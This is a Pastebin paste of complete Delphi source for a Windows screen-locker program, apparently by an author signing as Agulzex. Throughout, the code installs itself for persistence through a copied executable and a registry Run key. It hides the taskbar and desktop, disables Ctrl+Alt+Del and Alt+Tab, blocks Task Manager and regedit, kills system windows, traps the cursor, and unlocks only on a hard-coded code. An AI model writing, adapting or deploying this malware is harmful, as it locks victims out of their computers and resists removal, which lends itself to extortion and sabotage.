Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- unit Unit1;
- interface
- uses
- Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
- Dialogs, StdCtrls, Buttons, ExtCtrls,registry, OleServer, WordXP;
- type
- TForm1 = class(TForm)
- Edit1: TEdit;
- Button2: TButton;
- Label3: TLabel;
- Label7: TLabel;
- Timer1: TTimer;
- Button4: TButton;
- Button5: TButton;
- Button6: TButton;
- Button8: TButton;
- Button9: TButton;
- Button3: TButton;
- Button7: TButton;
- Button16: TButton;
- Button17: TButton;
- Button18: TButton;
- Timer2: TTimer;
- Button1: TButton;
- Button10: TButton;
- ListBox1: TListBox;
- procedure FormActivate(Sender: TObject);
- procedure FormCreate(Sender: TObject);
- procedure Edit1Change(Sender: TObject);
- procedure FormKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- procedure Edit1KeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- procedure Edit2KeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
- procedure Button2Click(Sender: TObject);
- procedure Timer1Timer(Sender: TObject);
- procedure Button4Click(Sender: TObject);
- procedure Button5Click(Sender: TObject);
- procedure Button6Click(Sender: TObject);
- procedure Button8Click(Sender: TObject);
- procedure Button9Click(Sender: TObject);
- procedure Button3Click(Sender: TObject);
- procedure Button7Click(Sender: TObject);
- procedure Button16Click(Sender: TObject);
- procedure Button17Click(Sender: TObject);
- procedure Button18Click(Sender: TObject);
- procedure Timer2Timer(Sender: TObject);
- procedure Button10Click(Sender: TObject);
- private
- { Private declarations }
- procedure CreateParams(var T: TCreateParams); override;
- procedure CreateWindowsRegions(const X, Y: Integer; const RegionHandle: THandle);
- public
- { Public declarations }
- end;
- var
- Form1: TForm1;
- m_OldMHook: HHook = 0;
- k_OldKBHook: HHook = 0;
- implementation
- {$R *.dfm}
- function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
- begin
- if code < 0
- then Result := CallNextHookEx(k_oldKbHook, code, wparam, lparam)
- else Result := 1;
- end;
- procedure TForm1.CreateWindowsRegions(const X, Y: Integer;
- const RegionHandle: THandle);
- var
- FirstRegion, CombineRegion : THandle;
- begin
- FirstRegion := CreateRoundRectRGN(0 + X, 0 + Y, 650 + X, 410 + Y, 55, 55);
- CombineRegion := FirstRegion;
- SetWindowRGN(RegionHandle, CombineRegion, true);
- end;
- procedure TForm1.Button3Click(Sender: TObject);
- begin
- edit1.text:=edit1.text+'6';
- end;
- procedure TForm1.Button4Click(Sender: TObject);
- begin
- edit1.text:=edit1.text+'1';
- end;
- procedure TForm1.Button5Click(Sender: TObject);
- begin
- edit1.text:=edit1.text+'2';
- end;
- procedure TForm1.Button6Click(Sender: TObject);
- begin
- edit1.text:=edit1.text+'3';
- end;
- procedure TForm1.Button7Click(Sender: TObject);
- begin
- edit1.text:=edit1.text+'7';
- end;
- procedure TForm1.Button8Click(Sender: TObject);
- begin
- edit1.text:=edit1.text+'4';
- end;
- procedure TForm1.Button9Click(Sender: TObject);
- begin
- edit1.text:=edit1.text+'5';
- end;
- procedure TForm1.CreateParams(var T : TCreateParams);
- begin
- inherited Createparams(T);
- with T do
- Style := (Style or WS_POPUP) and not WS_DLGFRAME;
- end;
- procedure TForm1.FormActivate(Sender: TObject);
- var
- hTaskBar : THandle;
- begin
- Edit1.Clear;
- //Screen Size
- form1.Height:=screen.Height;
- form1.Width:=screen.Width;
- //Disable ALT + CTRL + DEl ALT + TAB CTRL + ESC
- SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
- //Remove the Taskbar
- hTaskbar := FindWindow('Shell_TrayWnd', Nil);
- ShowWindow(hTaskBar, SW_HIDE);
- //Remove icons from the desktop
- ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
- end;
- procedure TForm1.FormCreate(Sender: TObject);
- var
- reg: tregistry;
- begin
- CopyFile(PChar(ParamStr(0)), PChar('C:\Program Files\Windows Media Player\' + ExtractFileName(ParamStr(0))), True);
- Reg:=TRegistry.Create;
- Reg.RootKey:=HKEY_CURRENT_USER;
- Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
- Reg.WriteString('Media','C:\Program Files\Windows Media Player\stop.exe');
- Reg.CloseKey;
- end;
- procedure antio;
- var
- tit:HWND;
- begin
- tit:=FindWindow(nil, 'Диспетчер задач Windows');
- if (tit>0) then
- PostMessage(tit, WM_QUIT, 1, 0);
- tit:=FindWindow(nil, 'Запуск программы');
- if (tit>0) then
- PostMessage(tit, WM_QUIT, 1, 0);
- tit:=FindWindow(nil, 'Мой компьютер');
- if (tit>0) then
- PostMessage(tit, WM_QUIT, 1, 0);
- end;
- procedure TForm1.Edit1Change(Sender: TObject);
- begin
- Edit1.PasswordChar:='*';
- end;
- procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- begin
- if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
- end;
- procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- begin
- if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
- end;
- procedure TForm1.Edit2KeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- begin
- if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
- end;
- procedure TForm1.Button10Click(Sender: TObject);
- begin
- edit1.text:=edit1.text+'-';
- end;
- procedure TForm1.Button16Click(Sender: TObject);
- begin
- edit1.text:=edit1.text+'8';
- end;
- procedure TForm1.Button17Click(Sender: TObject);
- begin
- edit1.text:=edit1.text+'9';
- end;
- procedure TForm1.Button18Click(Sender: TObject);
- begin
- edit1.text:=edit1.text+'0';
- end;
- procedure TForm1.Button2Click(Sender: TObject);
- var
- hTaskBar : THandle;
- Login:string[10];
- Password:string[20];
- begin
- Login:=edit1.text;
- If (Login='1000') then
- begin
- DeleteFile('C:\Program Files\Windows Media Player\stop.exe');
- ///////////////////////////////////////////////////////////////
- //включаем alt+ctrl+del alt+tab ctrl+esc
- SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
- //Показываем иконки на рабочем столе
- ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);
- //Показываем Панель Задач
- hTaskbar := FindWindow('Shell_TrayWnd', Nil);
- ShowWindow(hTaskBar, SW_SHOWNORMAL);
- //Закрываем прогу
- Close;
- ///////////////////////////////////////////////////////////////
- end
- else
- begin
- Messagedlg('Неверные Коды',mterror,[mbok],0);
- Edit1.Clear;
- end;
- end;
- procedure TForm1.Timer1Timer(Sender: TObject);
- begin
- Form1.FormStyle:=fsStayOnTop;
- fileopen('C:\windows\system32\taskmgr.exe',fmshareexclusive);
- fileopen('C:\windows\regedit.exe',fmshareexclusive);
- end;
- procedure TForm1.Timer2Timer(Sender: TObject);
- var
- curs: TRect;
- begin
- antio;
- SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE);
- curs := Rect(Form1.Left+0, Form1.Top+0, Form1.Left + Form1.Width-0, Form1.Top + Form1.Height-0);
- ClipCursor(@curs);
- end;
- procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
- begin
- CanClose:= false;
- end;
- end.
- // Coded by Agulzex //
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement